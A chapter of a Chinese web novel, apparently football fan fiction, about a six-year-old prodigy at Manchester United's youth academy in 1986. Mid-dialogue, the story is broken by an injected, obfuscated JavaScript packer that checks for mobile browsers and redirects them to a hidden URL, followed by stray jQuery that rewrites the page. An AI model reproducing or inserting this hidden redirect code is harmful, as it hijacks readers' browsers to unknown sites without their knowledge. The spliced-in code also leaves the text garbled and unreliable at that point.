1986年秋，卡灵顿训练基地的落叶在风中打着旋。


    亚历克斯·弗格森站在场边，眉头拧成了结。曼联一线队的状态让他火大——传球失误，跑动懒散，这群家伙根本不明白肩上扛着的是什么。


    他需要改变，需要新鲜血液，需要一种能让老特拉福德重新燃烧起来的东西。


    就在他准备转身离开时，一阵清脆的笑声飘了过来。


    弗格森循声望去。


    预备队训练场边上，一个五六岁的小男孩正在玩球。


    那场景不太真实——男孩穿着小西装外套和锃亮的皮鞋，浅金色的头发在阳光下泛着柔光。而那脏兮兮的皮球，正像黏在他身上一样，在脚背、膝盖、肩头轻盈跳跃。


    一次，两次，二十次……球始终没落地。


    男孩嘴角挂着纯粹的笑容，眼睛亮得像曼彻斯特难得一见的晴空。


    他不是在踢球，是在和足球交流，在进行一场只有他们懂的对话。


    弗格森的心脏猛地一跳。


    “那是谁？”他问身边的预备队教练。


    “塞巴斯蒂安·格林格拉斯，俱乐部一位董事的侄子。偶尔来看训练，很安静的孩子。”


    弗格森没再问。他迈开步子，皮鞋踩碎落叶，朝那个男孩走去。


    高大的影子笼罩下来时，塞斯停下了动作。


    他抱着球仰起脸，没有半点惊慌，反而露出一个温暖的笑容：“下午好，先生。”


    “你叫什么？”


    “塞斯，先生。”


    “喜欢足球？”


    “喜欢！它是我最好的朋友。”男孩拍了拍怀里的皮球。


    弗格森蹲下来，视线和男孩齐平。


    他盯着那双清澈的灰蓝眼睛看了三秒——那里面有天赋，有快乐，还有一种罕见的、超越年龄的专注。


    “想让它一直做你的朋友吗？想让它听你的话，去任何你想让它去的地方吗？”


    塞斯的眼睛瞬间被点亮了：“想！”


    “那么，”弗格森站起来，大手按在男孩肩上，“从明天开始，你不再是观众。你属于这里了。”


    第二天早上七点半，塞巴斯蒂安·格林格拉斯准时出现在克莱夫青训基地门口。


    他穿着曼联少年队的训练服，背着一个比他肩膀还宽的运动包，金发理得整整齐齐。


    助理教练埃里克·哈里森看着他，又看看手里的档案——六岁零三个月，破例招收。


    “跟我来，孩子。”


    训练场上已经有一群七八岁的男孩在热身。他们看到塞斯时，窃窃私语声像水波一样荡开。


    “看那个小不点。”


    “穿得真整齐，来参加茶会的吧？”


    “听说他叔叔是董事……”


    塞斯像是没听见。


    他把包放好，开始慢跑，动作标准得像教科书。但真正让所有人闭嘴的，是随后的传接球训练。


    当皮球滚到塞斯脚下时，时间好像变慢了。


    他没有像其他孩子那样大脚踢出去，而是用脚内侧轻轻一垫，球听话地弹起，落下时正好赶上他调整好的姿势——一脚二十码外的长传，像长了眼睛一样穿过半个场地，落在队友胸前最舒服的位置。


    场边，哈里森教练的笔掉在了地上。


    接下来的分组对抗，塞斯被分到蓝队。


    比赛开始五分钟，他几乎没碰到球。对方一个壮实的红队男孩盯上了他，每次塞斯要接球，那人就像小坦克一样冲过来。


    第三次被撞倒在地时，泥水溅了塞斯一脸。


    他爬起来，抹了抹眼睛，什么也没说。


    蓝队发边线球，塞斯主动举手要球。


    红队那个壮小子又冲过来了，脸上带着得意的笑。


    但这次塞斯动了。


    他没有硬碰硬，而是在对方冲到的前一秒，用脚尖把球轻轻一捅——球从壮小子两腿间穿过，同时塞斯身体像水一样向侧方滑开。


    转身，接球，抬头，整个过程不到两秒。


    场上的孩子都愣住了。那个被戏弄的壮小子脸涨得通红，转身又想冲过来。


    “传球啊！”蓝队有人喊。


    塞斯没传。


    他带球向前，动作不快，但每一步都恰到好处。两个红队队员围过来，他右脚外脚背一拨，从两人之间唯一的缝隙钻了过去。


    面前只剩下守门员了。


    所有人都以为他会射门。


    但塞斯在禁区弧顶停住了。


    他抬起左脚，不是射门——是一记轻巧的挑传。球画出一道彩虹般的弧线，越过守门员头顶，落在后点无人盯防的队友脚下。


    推射空门。


    1:0。


    场边响起一声响亮的口哨。


    众人转头，看到U12队的几个孩子正趴在围栏上看。为首的那个黑发少年眼睛发亮，是瑞恩·吉格斯——克莱夫基地公认的天才。


    “干得漂亮，小家伙！”吉格斯喊道。


    塞斯转过头，朝吉格斯笑，浅色的头发在阳光下温暖灿烂。


    随后他跑回自己半场，在经过那个红队壮小子身边时，他小声说了句：“你的重心太靠前了，下次可以收半步。”


    壮小子愣住了。


    那天下训练时，几个大孩子围了过来。不是来找茬的——他们的眼神里有了别的东西。


    “嘿，小不点，”一个棕色头发的男孩说，加里·内维尔，被钦点的队长，“你那一脚挑传，怎么看到后点有人的？”


    塞斯一边收拾背包一边说：“听到的。而且你们防守时都看着球，没人看其他人。我的队友一直在举手。”


    加里眨了眨眼，这分析根本不像六岁孩子能说出来的。


    “明天还来吗？”另一个戴眼镜的安静男孩问。他是保罗·斯科尔斯。


    “来。”塞斯拉上背包拉链，“我喜欢这里。”


    他毫无保留地露出酒窝，干脆利落背起那个大得夸张的包，朝基地门口走去。


    夕阳把他的影子拉得很长，那个小小的身影在红砖建筑间渐渐消失。


    加里转头看斯科尔斯：“保罗，你怎么看？”


    斯科尔斯推了推眼镜：“他的眼睛一直在动。不是在追球，是在看整个场地。”


    “像个下棋的。”尼基·巴特插话，他今天也在场边看了全场，“不像踢球的。”


    “就是踢球的，”瑞恩·吉格斯不知什么时候走了过来，胳膊搭在围栏上，“而且是踢得最好的那种。”


    远处，主教练办公室的窗户后，弗格森点了根雪茄。烟雾缭绕中，他看着塞斯走出大门，被一辆黑色的轿车接走。


    助理教练哈里森敲门进来：“亚历克斯，关于那个孩子……”


    “我知道你要问什么，”弗格森吐出一口烟，“为什么给他特殊待遇？因为他值得。”


    “他才六岁！”


    “梅西多奥六岁时在干什么？马拉多纳呢？”弗格森转过身，眼睛在烟雾后闪着光，“埃里克，我要你亲自带他。但不是和其他孩子一样——我要你为他设计一套训练计划。技术，视野，决策。从最基础的开始，但要快。”


    “那身体对抗呢？他太单薄了。”


    弗格森笑了：“你看他今天摔倒几次？三次。但他哭了吗？找裁判了吗？没有。他爬起来，然后用足球的方式赢回来了。那孩子心里有火，只是烧得安静。”


    哈里森若有所思地点头。


    “还有，”弗格森补充，“让他多和吉格斯、贝克汉姆那帮大孩子一起练。天赋需要和天赋碰撞。”


    从那天起，塞巴斯蒂安·格林格拉斯成了克莱夫基地最特别的存在。


    他每天早上七点半准时到，最后一个离开。训练时百分之百投入，但从不抢风头。当其他孩子在打闹时，他在加练定位球；当别人抱怨训练太苦时，他默默多做一组折返跑。


    最让教练们惊讶的，是他的学习速度。


    一次战术课，哈里森在白板上画了个4-4-2阵型，讲解边后卫插上的时机。讲完后他问谁有问题，大多数孩子一脸茫然。


    塞斯举起了手。


    “教练，如果边后卫插上时，对方边锋不回防而是内切，中路会不会有空档？”


    哈里森愣住了。


    这问题涉及到攻防转换和空间利用，根本不是这个年龄段该考虑的东西。


    “会，”他谨慎地回答，“所以需要后腰补位。”


    “但如果后腰被对方前腰牵制呢？”塞斯继续问。


    这次哈里森彻底说不出话了。他看着眼前这个六岁的孩子，突然明白弗格森看到了什么——这不是一个足球神童，这是一个足球大脑。


    消息很快传开。


    “听说了吗？U8队那个小天才，把哈里森教练问住了。”


    “哪个？穿得像小王子那个？”


    “对，塞斯。他现在每天都和U12队一起练专项。”


    瑞恩·吉格斯是最早接纳塞斯的大孩子之一。午休时，他常把塞斯叫到一边，两人用瓶盖当球员，在长椅上模拟比赛。


    “你看，如果我是左边锋，”吉格斯移动一个瓶盖，“你作为中场，什么时候给我球最好？”


    塞斯盯着“球场”看了几秒：“你启动的第三步。前两步是佯攻内切，第三步才是真爆发下底。”


    吉格斯笑了：“你怎么知道我会佯攻？”


    “因为你左脚更好，但所有人都知道。所以你要让他们以为你要内切，其实是要下底传中。”塞斯抬起头，笑了，“对吧？”


    吉格斯揉乱他的金发：“对，小天才。完全正确。”


    另一边，保罗·斯科尔斯找到了同类。


    他和塞斯私下都不太爱说话，但他们的交流在球场上。一次三对三训练，斯科尔斯一个眼神，塞斯就心领神会地跑向空档；塞斯一个手势，斯科尔斯就知道要前插还是回撤。


    训练结束后，两人坐在场边喝水。


    “你看得很远。”斯科尔斯突然说。


    塞斯转头看他：“你也一样。”


    “但我看到的是传球线路，”斯科尔斯说，“你看到的是……接下来两三步会发生的事。”


    塞斯想了想：“足球是会说话的，有时候需要做的注意力不在球上，而在身边人身上。你要想对手在想什么，还要想对手以为你在想什么。”


    斯科尔斯难得地笑了：“你才六岁。”


    “快七岁了。”塞斯纠正。


    但并非所有人都喜欢塞斯。


    嫉妒是天赋的阴影。一些孩子——尤其是那些靠拼命训练才站稳脚跟的——看不惯这个“特权天才”。


    他们开始搞小动作：训练时故意不传球给他，更衣室里冷嘲热讽，甚至偷藏他的球鞋。


    塞斯从不告状。


    直到有一天，加里·内维尔撞见了现场。三个U10队的男孩把塞斯堵在器材室门口，领头的是个叫马克的红发小子，他爸爸是俱乐部保安主管。


    “以为自己是明星了？嗯？”马克推了塞斯一把，“每天有专车接送的小少爷？”


    塞斯后退一步，背靠储物柜，没说话。


    “说话啊！哑巴了？”


    “我不想打架。”塞斯平静地说。


    “但我们想。”马克又推了他一下。


    就在第三下要推出去时，一只大手抓住了马克的手腕。


    “够了。”


    加里·内维尔站在那里，虽然只比马克大一岁，但气场完全不一样。他身后站着斯科尔斯、巴特，还有刚跑过来的吉格斯和贝克汉姆。


    “你们在干什么？”加里的声音很冷。


    “关、关你什么事？”马克试图挣开，但加里抓得很紧。


    “他是我队友，”加里一字一顿，“欺负我队友，就关我的事。”


    气氛剑拔弩张。器材室门口挤满了看热闹的孩子。


    这时塞斯开口了：“加里，放开他吧。”


    所有人都看向他。


    塞斯从储物柜前走出来，整理了一下训练服。他看着马克，眼神里没有愤怒，没有恐惧，只有一种奇怪的平静。


    “你们不喜欢我，因为我天赋好，还是因为我有专车？”他问。


    马克涨红了脸：“因为你装！装得自己多特别！”


    “我没有装，”塞斯说，“我确实很特别。”


    这话说得如此坦然，以至于马克一时语塞。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070664|195205||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但特别不是我的错，”塞斯继续说，“就像你跑得快也不是你的错。足球场上，我们靠本事说话。所以——”


    他指了指外面的训练场：“一对一，三局两胜。你赢了，我以后离你们远点。我赢了，你们别再找我麻烦。公平吗？”


    器材室鸦雀无声。


    马克看看自己的两个跟班，又看看周围——所有U12队的主力都在盯着他。他骑虎难下。


    “……好。”


    消息像野火一样传遍克莱夫基地。


    “听说了吗？塞斯要和马克单挑！”


    “那个小不点？马克比他大三岁！”


    “赌什么？”


    “好像是谁输了就听谁的。”


    下午训练结束后，半个基地的孩子都围在了主训练场边。甚至一些教练也“恰好”路过，站在远处观望。


    哈里森教练想制止，但被弗格森拦住了。


    “让他们玩，”弗格森说，“看看那孩子怎么应对。”


    场中央，塞斯和马克面对面站着。裁判是加里·内维尔——他主动要求的。


    规则简单：半场大小，一对一，三次进攻机会。进攻方从半场线开始，防守方在禁区弧顶防守。进球或破坏出界算一次进攻结束。


    马克先攻。


    哨响，马克带球猛冲。他速度不慢，身体壮实，像辆小卡车一样碾过来。塞斯没有硬挡，而是边退边封角度。到禁区边缘时，马克假动作晃了一下，然后大力抽射——


    球打在塞斯及时伸出的脚上，弹出了底线。


    0:0，马克进攻失败。


    轮到塞斯。


    他站在半场线，轻轻把球拨到脚下。马克退到禁区弧顶，弓着身子，全神贯注。


    塞斯启动了。


    没有花哨的动作，没有爆发的速度，就是简单的带球向前。


    马克看准时机冲上来，想像训练中那样用身体碾压，但塞斯在接触前一刹那，右脚外脚背把球轻轻一拨，球从马克左侧滑过，同时他整个人从右侧绕过。


    人球分过。


    马克急转身，但塞斯已经追上球，面对空门，轻推入网。


    1:0。


    场边响起惊呼声。那人球分过时机把握得太精准了，早一点会被拦截，晚一点会被撞倒。


    马克的脸涨成了猪肝色。


    第二次进攻，马克更小心了。他不再猛冲，而是尝试变向。但塞斯的站位太好了，始终封住射门角度。最后马克勉强起脚，球偏得离谱。


    马克又失败了。


    最后一次，塞斯的球权。


    这次马克学乖了，他不上抢，就卡在禁区线上，赌塞斯远射不行。


    塞斯带球到禁区弧顶外两米，停下。马克还是不动。


    时间一秒秒过去。


    场边开始有嘘声：“射门啊！”“怕了？”


    塞斯看着马克，突然做了个要向右突破的假动作。马克重心微微右移——


    就在这一瞬间，塞斯动了。不是向右，也不是向左，而是用脚后跟把球轻轻向后一磕，同时整个人急转身。


    马克完全被骗了。等他反应过来，塞斯已经从他身侧掠过，追上那个反向滚动的球，单刀面对门将。


    轻推远角。


    2:0


    提前宣告胜利。


    全场寂静，然后爆发出巨大的欢呼。那些原本中立的孩子们全倒向了塞斯——足球世界，实力就是一切。


    马克站在原地，低着头。他的两个跟班早就溜走了。


    塞斯走到他面前，伸出手。


    马克惊讶地抬头。


    “踢得不错，”塞斯说，“你的爆发力很好，只是太急了。”


    马克愣了几秒，握住了那只手。


    从那天起，塞巴斯蒂安·格林格拉斯不再是“董事的侄子”，不再是“特权天才”。他是塞斯——克莱夫基地有史以来最小的球员，也是所有人都心服口服的天才。


    傍晚，弗格森的办公室里，哈里森教练汇报了下午的“决斗”。


    “他用脑子赢了，”哈里森总结，“每一步都在计算。”


    弗格森站在窗前，看着塞斯背着大包走向那辆黑色轿车。孩子的小腿因为训练还在微微发抖，但背挺得笔直。


    “你知道最让我欣慰的是什么吗，埃里克？”


    “他的技术？”


    “不，”弗格森转过身，眼里有光，“是他赢的方式。他没有羞辱对手，没有炫耀，甚至还在赛后给了对方建议。那孩子心里有王者的骄傲，但没有暴君的残忍。”


    他走到办公桌前，翻开塞斯的训练档案。在最新的评估栏里，他亲自写下一行字：


    “天赋：罕见。心智：超越年龄。潜力：不可限量。建议：加速培养，但保护身心健康。这孩子可能是曼联未来二十年的基石。”


    哈里森看着那行字，深吸一口气：“压力会不会太大了？他才七岁。”


    “压力？”弗格森笑了，“你看他今天的眼神了吗？那不是承受压力的眼神，那是享受挑战的眼神。有些人天生就是为了大舞台而生的，埃里克。”


    窗外，黑色轿车缓缓驶离卡灵顿。


    车里，塞斯靠在后座，疲惫但满足。司机从后视镜看了他一眼：“今天训练怎么样，小少爷？”


    “很好，”塞斯看着窗外飞逝的街景，“我交到朋友了。”


    “哦？哪些朋友？”


    “加里，保罗，瑞恩，尼基……”塞斯数着手指，“他们很厉害，但愿意和我一起踢球。”


    司机笑了：“那太好了。”


    塞斯沉默了一会，突然问：“约翰逊先生，你觉得我能为曼联踢球吗？真正的一线队？”


    司机从后视镜里看到孩子认真的眼神，收起了笑容：“如果继续这样努力，我觉得能做到任何事。”


    “嗯。”塞斯点点头，转头看向窗外。


    曼彻斯特的街灯渐次亮起，在车窗上划过一道道流光。这个七岁的孩子不知道，从今天起，他的命运已经和一家伟大的俱乐部，一群未来的传奇，还有一个苏格兰老人的梦想，紧紧捆绑在了一起。


    而在遥远的未来，他们会共同写下一段让全世界铭记的红色传奇。